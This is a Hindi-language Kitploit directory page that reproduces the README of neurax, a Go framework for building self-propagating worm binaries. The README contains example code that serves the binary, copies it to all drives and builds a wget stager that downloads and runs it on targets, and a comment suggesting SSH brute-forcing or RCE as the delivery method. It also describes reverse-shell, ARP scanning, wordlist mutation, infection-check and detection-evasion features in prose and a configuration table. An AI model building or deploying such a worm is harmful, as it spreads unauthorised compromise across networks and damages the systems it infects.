Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
neurax — स्व-प्रसार बाइनरी बनाने के लिए एक फ्रेमवर्क | Kitploit
उपकरण/GitHubGitHub/redcode-labs/neurax
टोहीपासवर्ड हमलेपेलोड जनरेशनस्थायित्व तंत्रशोषणपार्श्व आंदोलनपोस्ट-शोषणमालवेयर विश्लेषणकमांड एंड कंट्रोलरेड टीमिंग
GitHubredcode-labs/neurax

neurax

1.0k1012 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

स्व-प्रसार बाइनरी बनाने के लिए एक फ्रेमवर्क

रिपॉजिटरी देखें



Neurax



एक ढाँचा जो स्व-प्रसार सॉफ्टवेयर के निर्माण में सहायता करता है



अवलोकन

Neurax की सहायता से, Golang बायनेरिज़ LAN/WAN पर बिना किसी बाहरी सर्वर के फैल सकते हैं। विविध कॉन्फ़िग विकल्प और कमांड स्टेजर विभिन्न वायरलेस वातावरणों में तेजी से प्रसार की अनुमति देते हैं।

उदाहरण कोड

root@kitploit:~
package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Specify serving port and stager to use
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //Start a server that exposes the current binary in the background
  go NeuraxServer()
 
  //Copy current binary to all logical drives
  NeuraxDisks()

  //Create a command stager that should be launched on target machine
  //It will download, decode and execute the binary
  cmd_stager := NeuraxStager()

  /* Now you have to somehow execute the command generated above.
     You can use SSH bruteforce, some RCE or whatever else you want ;> */

}



v. 2.X में नया (अलग उप-प्रोजेक्ट)

  • रिफैक्टर: तैयार-से-उपयोग बाइनरी के पक्ष में फ्रेमवर्क-जैसे दृष्टिकोण को छोड़ दिया
  • सभी UNIX लक्ष्यों के लिए सामान्य wget स्टेजर
  • वर्म के व्यवहार को तुरंत बदलने के लिए एकल कॉन्फ़िग फ़ाइल
  • unlinkat(2) के माध्यम से स्वचालित स्व-हटाना
  • नेटवर्क फैलाने की क्षमताओं को पूरक करने के लिए उदाहरण LinuxKI CVE शोषण
  • JSON कॉन्फ़िग फ़ाइल डाउनलोड और मूल्यांकन की जाती है
  • होस्ट हार्वेस्टर का न्यूनतम पुनर्लेखन

v. 2.5 में नया

  • दूसरे-चरण बाइनरी का वैकल्पिक पृष्ठभूमि निष्पादन (N.StagerBg)
  • कमांड स्टेजर संदर्भ-स्थानीय पथ में सहेजता और निष्पादित करता है
  • यह सफल निष्पादन के तुरंत बाद डाउनलोड की गई बाइनरी को भी हटा देता है
  • गति/स्थिरता कारणों से समन्वित कमांड निष्पादन तंत्र हटा दिया गया। मैं अगले रिलीज़ से पहले एक उचित विकल्प लेकर आऊंगा।
  • N.NoInfectCheck यह जाँच अक्षम करने के लिए कि होस्ट पहले से संक्रमित है या नहीं।
  • लक्ष्य मशीन पर एकल-निष्पादन नीति, NeuraxServer() के अंदर रखे गए अनन्य फ़ाइल म्यूटेक्स के साथ लागू की गई।
  • बाइनरी की सेवा के लिए एक नेस्टेड गोरोटीन जोड़ा गया
  • Linux के लिए नया httrack स्टेजर
  • पहचान से बचने के लिए सामान्य वर्डलिस्ट पर टिप्पणी की गई
  • कमांड स्टेजर बाइनरी हटाने से पहले प्रतीक्षा कर सकता है (N.StagerRemovalDelay)

v. 2.0 में नया

  • नए वर्डलिस्ट म्यूटेटर + देश के अनुसार सामान्य पासवर्ड
  • तात्कालिक निष्क्रिय स्कैनिंग
  • .FastScan विकल्प जो सक्रिय स्कैन को थोड़ा तेज़ बनाता है
  • वर्डलिस्ट सख्ती से मेमोरी में बनाई जाती हैं
  • NeuraxScan() तर्क के रूप में चैनल के बजाय एक कॉलबैक फ़ंक्शन स्वीकार करता है।
  • NeuraxScan() अनंत लूप में स्कैन करता है जिसमें पूरे सबनेट/लक्ष्यों के पूल के प्रत्येक स्कैन के बीच अंतराल सेट करने की संभावना होती है
  • IP प्रारूप में नहीं होने वाले लक्ष्यों के लिए रिवर्स-DNS लुकअप
  • ARP कैश से लक्ष्य उम्मीदवारों का निष्कर्षण
  • केवल चयनित लक्ष्यों की सूची स्कैन करने की संभावना + विशिष्ट लक्ष्यों (जैसे डिफ़ॉल्ट गेटवे) को प्राथमिकता देना
  • निष्क्रिय नेटवर्क स्कैन का उपयोग करते समय इंटरफ़ेस और टाइमआउट निर्दिष्ट करने की संभावना।
  • बेहतर कमांड स्टेजर (वैकल्पिक रूप से ऊंचे विशेषाधिकारों / कई बार निष्पादित किया जा सकता है)
  • विकल्पों के नामों में कुछ बदलाव
  • NeuraxConfig. N. बन गया (क्योंकि टाइप करना छोटा है)
  • यादृच्छिक मेमोरी आवंटन + बाइनरी प्रवासन के लिए फ़ंक्शन
  • एकाधिक स्टेजर को श्रृंखलित करने की संभावना (उदा. wget + curl)
  • बनाई गई वर्डलिस्ट की मात्रा और जटिलता को आसानी से ट्यून किया जा सकता है (.WordlistExpand जैसे विकल्पों के साथ)
  • बनाई गई बाइनरी का टाइम-टू-लाइव सेट करने की संभावना

कॉन्फ़िग प्रविष्टियों की सूची

नए लक्ष्य ढूँढना

फ़ंक्शन NeuraxScan(func(string)) स्थानीय नेटवर्क पर सक्रिय होस्ट का पता लगाने में सक्षम बनाता है। इसका एकमात्र तर्क एक कॉलबैक फ़ंक्शन है जो प्रत्येक सक्रिय होस्ट के लिए पृष्ठभूमि में कॉल किया जाता है। होस्ट को सक्रिय तब माना जाता है जब उसके पास कम से कम 1 खुला पोर्ट हो, वह पहले से संक्रमित न हो, और N. के अंदर निर्दिष्ट शर्तों को पूरा करता हो।

NeuraxScan() अनंत लूप के रूप में चलता है - यह .Cidr कॉन्फ़िग प्रविष्टि द्वारा निर्दिष्ट पूरे सबनेट को स्कैन करता है और जब हर होस्ट स्कैन हो जाता है, तो फ़ंक्शन .ScanInterval में दिए गए अंतराल के लिए सोता है।

डिस्क संक्रमण

Neurax बाइनरी को वायरलेस माध्यमों का उपयोग करके स्वयं की प्रतिलिपि बनाने की आवश्यकता नहीं है। फ़ंक्शन NeuraxDisks() वर्तमान बाइनरी (गैर-संदिग्ध नाम के तहत) को सभी मिले लॉजिकल ड्राइव में कॉपी करता है। कॉपी की गई बाइनरी निष्पादित नहीं की जाती है, बल्कि चलाए जाने की प्रतीक्षा में अपने गंतव्य पर रहती है। NeuraxDisks() एक error देता है यदि डिस्क की सूची प्राप्त नहीं की जा सकती या किसी गंतव्य पर प्रतिलिपि बनाना असंभव था।

एक अन्य फ़ंक्शन, NeuraxZIP(num_files int) err वर्तमान बाइनरी वाला एक यादृच्छिक नामित .zip संग्रह बनाने की अनुमति देता है। यह वर्तमान निर्देशिका में सहेजा जाता है, और इसमें अधिकतम num_files यादृच्छिक फ़ाइलें होती हैं।

NeuraxZIPSelf() बस वर्तमान बाइनरी को ज़िप करता है, एक संग्रह बनाता है जिसका नाम समान होता है।

रिवर्स कनेक्शन

NeuraxReverse() के साथ एक इंटरैक्टिव रिवर्स शेल स्थापित किया जा सकता है। यह .ReverseListener के अंदर निर्दिष्ट होस्टनाम से "<host>:<port>" के रूप में कमांड प्राप्त करेगा। उपयोग किया जाने वाला प्रोटोकॉल .ReverseProto के तहत परिभाषित है यदि इस फ़ंक्शन को कॉल करने से पहले NeuraxOpenComm() शुरू किया गया था, तो प्रत्येक कमांड ऊपर अनुभाग में वर्णित अनुसार व्यवहार करेगा। यदि नहीं, तो कमांड स्थानीय रूप से निष्पादित होंगे।

नोट: इस फ़ंक्शन को प्राप्त करने के लिए उपयोग किए जाने वाले अनंत लूप के कारण ब्लॉकिंग को रोकने के लिए इसे गोरोटीन के रूप में भी चलाया जाना चाहिए।

सफाई

जब भी किसी नोड द्वारा "purge" कमांड प्राप्त होता है, तो वह इस कमांड को अन्य सभी नोड्स को पुनः भेजता है, स्वयं को होस्ट से हटा देता है और बाहर निकल जाता है। यह व्यवहार स्रोत में कहीं निष्पादित NeuraxPurge() का उपयोग करके भी शुरू किया जा सकता है।

वर्डलिस्ट निर्माण

यदि आपकी पसंद का प्रसार वेक्टर किसी प्रकार के ब्रूटफोर्स पर आधारित है, तो एक उचित वर्डलिस्ट तैयार रखना अच्छा है। क्लाइंट साइड पर टेक्स्ट-फ़ाइल में शब्दों को संग्रहीत करना वास्तव में प्रभावी नहीं है, इसलिए आप NeuraxWordlist(...words) []string का उपयोग करके एक मूल वर्डलिस्ट को म्यूटेट कर सकते हैं। दिए गए शब्दों के एक सेट को क्रमपरिवर्तित करने के लिए, NeuraxWordlistPermute(..words) []string का उपयोग करें।

टाइम-टू-लाइव सेट करना

यदि आप चाहते हैं कि आपकी बाइनरी दिए गए समय के बाद स्वयं को हटा ले, तो अपने कोड की शुरुआत में NeuraxSetTTL() का उपयोग करें। इस फ़ंक्शन को गोरोटीन के रूप में लॉन्च किया जाना चाहिए। उदाहरण के लिए:

go NeuraxSetTTL("2m")

प्रारंभिक निष्पादन के 2 मिनट बाद बाइनरी NeuraxPurgeSelf() चलाएगा।

एक साथ एकाधिक स्टेजर का उपयोग करना

यदि आप दिए गए प्लेटफ़ॉर्म के लिए उपलब्ध सभी स्टेजर को श्रृंखलित करना चाहते हैं, तो .Stager को "chain" पर सेट करें।

गिराई गई बाइनरी को स्थानांतरित करना

यदि आपको प्रारंभिक निष्पादन के बाद बाइनरी की प्रतिलिपि बनाने की आवश्यकता है, तो NeuraxMigrate(path string) का उपयोग करें। यह बाइनरी को path के अंतर्गत कॉपी करेगा, वर्तमान बाइनरी को हटा देगा और नव प्रवासित बाइनरी को निष्पादित करेगा।

इस टूल का समर्थन करें

यदि आपको यह प्रोजेक्ट पसंद है और इसे बढ़ते देखना चाहते हैं, तो कृपया एक छोटा सा दान करने पर विचार करें :>

>>>>> दान करें <<<<<

लाइसेंस

यह सॉफ़्टवेयर MIT लाइसेंस के अंतर्गत है

टूल डाउनलोड करें
नामविवरणडिफ़ॉल्ट मान
Nrx.Config.Stagerउपयोग करने के लिए कमांड स्टेजर का नामयादृच्छिक, प्लेटफ़ॉर्म-संगत
Nrx.Config.StagerSudoयदि true, तो Linux cmd स्टेजर ऊंचे विशेषाधिकारों के साथ निष्पादित होते हैंfalse
Nrx.Config.StagerRetryकमांड स्टेजर को पुनः निष्पादित करने की संख्या0
Nrx.Config.StagerRemoveDelayडाउनलोड की गई बाइनरी को हटाने से पहले स्लीप निर्देश लागू किया जाता हैtrue
Nrx.Config.Portसेवा के लिए पोर्ट6741
Nrx.Config.Platformलक्ष्य प्लेटफ़ॉर्मस्वचालित रूप से पहचाना गया
Nrx.Config.Pathवह पथ जिसके अंतर्गत बाइनरी होस्ट पर सहेजी जाती है.
Nrx.Config.FileNameवह नाम जिसके तहत डाउनलोड की गई बाइनरी को सेवा और फिर सहेजा जाना चाहिएयादृच्छिक
Nrx.Config.Base64स्थानांतरित बाइनरी को base64 में एनकोड करेंfalse
Nrx.Config.CommPortवह पोर्ट जिसका उपयोग बाइनरी एक दूसरे से संवाद करने के लिए करती हैं7777
Nrx.Config.CommProtoनोड्स के बीच संचार के लिए प्रोटोकॉल"udp"
Nrx.Config.ReverseListenerरिमोट रिवर्स शेल हैंडलर का "<host>:<port>" शामिल हैनिर्दिष्ट नहीं
Nrx.Config.ReverseProtoरिवर्स कनेक्शन के लिए उपयोग करने का प्रोटोकॉल"udp"
Nrx.Config.ScanRequiredPortNeuraxScan() होस्ट को सक्रिय तभी मानता है जब उस पर कोई विशिष्ट पोर्ट खुला होnone
Nrx.Config.ScanPassiveNeuraxScan() निष्क्रिय ARP ट्रैफ़िक निगरानी का उपयोग करके होस्ट का पता लगाता हैfalse
Nrx.Config.ScanPassiveTimeoutNeuraxScan() ARP लेयर की इतने सेकंड तक निगरानी करता है50 सेकंड
Nrx.Config.ScanPassiveIfaceनिष्क्रिय रूप से स्कैन करते समय उपयोग करने के लिए इंटरफ़ेसडिफ़ॉल्ट
Nrx.Config.ScanActiveTimeoutNeuraxScan() इस मान को प्रत्येक थ्रेड में स्कैन किए गए पोर्ट के लिए टाइमआउट के रूप में सेट करता है2 सेकंड
Nrx.Config.ScanPassiveAllNeuraxScan() सभी मिले उपकरणों पर पैकेट कैप्चर करता हैfalse
Nrx.Config.ScanPassiveNoArpनिष्क्रिय स्कैन सख्त ARP कैप्चर फ़िल्टर सेट नहीं करताfalse
Nrx.Config.ScanFirstपहले स्कैन करने के लिए IP पतों वाला एक स्लाइस[]string{}
Nrx.Config.ScanFirstOnlyNeuraxScan() केवल .ScanFirst के अंदर निर्दिष्ट होस्ट को स्कैन करता हैfalse
Nrx.Config.ScanArpCacheNeuraxScan() पहले स्थानीय ARP कैश में मिले होस्ट को स्कैन करता है। केवल सक्रिय स्कैन के साथ काम करता हैfalse
Nrx.Config.ScanCidrNeuraxScan() इस CIDR को स्कैन करता हैlocal IP + "\24"
Nrx.Config.ScanActiveThreadsNeuraxScan() के लिए उपयोग करने के लिए थ्रेड्स की संख्या10
Nrx.Config.ScanFullRangeNeuraxScan() लक्ष्य होस्ट के सभी पोर्ट को स्कैन करता है ताकि यह निर्धारित किया जा सके कि वह सक्रिय है या नहीं19 से 300 तक
Nrx.Config.ScanIntervalपूरे सबनेट को फिर से स्कैन करने से पहले सोने का समय अंतराल"2m"
Nrx.Config.ScanHostIntervalसक्रिय मोड में अगले होस्ट को स्कैन करने से पहले सोने का समय अंतराल"none"
Nrx.Config.ScanGatewayFirstगेटवे सक्रिय स्कैन का उपयोग करने पर स्कैन किया जाने वाला पहला होस्ट हैfalse
Nrx.Config.Verboseयदि true, तो सभी त्रुटि संदेश STDOUT पर मुद्रित होते हैंfalse
Nrx.Config.Removeजब कोई त्रुटि होती है, तो बाइनरी स्वयं को होस्ट से हटा देती हैfalse
Nrx.Config.PreventReexecयदि true, तो जब कोई कमांड पहले प्राप्त किए गए कमांड से मेल खाता है, तो उसे निष्पादित नहीं किया जाताtrue
Nrx.Config.WordlistExpandNeuraxWordlist() इनपुट शब्दों पर गैर-मानक रूपांतरण करता हैfalse
Nrx.Config.WordlistCommonवर्डलिस्ट में 20 सबसे सामान्य पासवर्ड जोड़ेंfalse
Nrx.Config.WordlistCommonNumउपयोग करने के लिए सामान्य पासवर्ड की संख्यासभी
Nrx.Config.WordlistCommonCountriesएक map[string]int जिसमें देश कोड और उपयोग करने के लिए पासवर्ड की संख्या हैmap[string]int
Nrx.Config.WordlistMutatorsजब .WordlistExpand निर्दिष्ट किया जाता है तो उपयोग करने के लिए म्यूटेटर{"single_upper", "cyryllic", "encapsule"}
Nrx.Config.WordlistPermuteNumNeuraxWordlistPermute() द्वारा उत्पन्न क्रमपरिवर्तन की अधिकतम लंबाई2
Nrx.Config.WordlistPermuteSeparatorक्रमपरिवर्तन के लिए उपयोग करने के लिए एक विभाजक वर्ण"-"
Nrx.Config.WordlistShuffleलौटाने से पहले उत्पन्न वर्डलिस्ट को फेरबदल करेंfalse
Nrx.Config.AllocNumयह प्रविष्टि परिभाषित करती है कि NeuraxAlloc() कितनी बार यादृच्छिक मेमोरी आवंटित करता है5
Nrx.Config.Blacklistस्लाइस जिसमें IP पते हैं जो किसी भी प्रकार के स्कैनिंग से बाहर रखे गए हैं[]string{}
Nrx.Config.FastHTTPIsHostInfected() में HTTP अनुरोध fasthttp लाइब्रेरी का उपयोग करके किया जाता हैfalse
Nrx.Config.Debugडीबग संदेश सक्षम करेंfalse
Nrx.Config.NoInfectCheckयह जाँच अक्षम करें कि होस्ट पहले से संक्रमित है या नहींtrue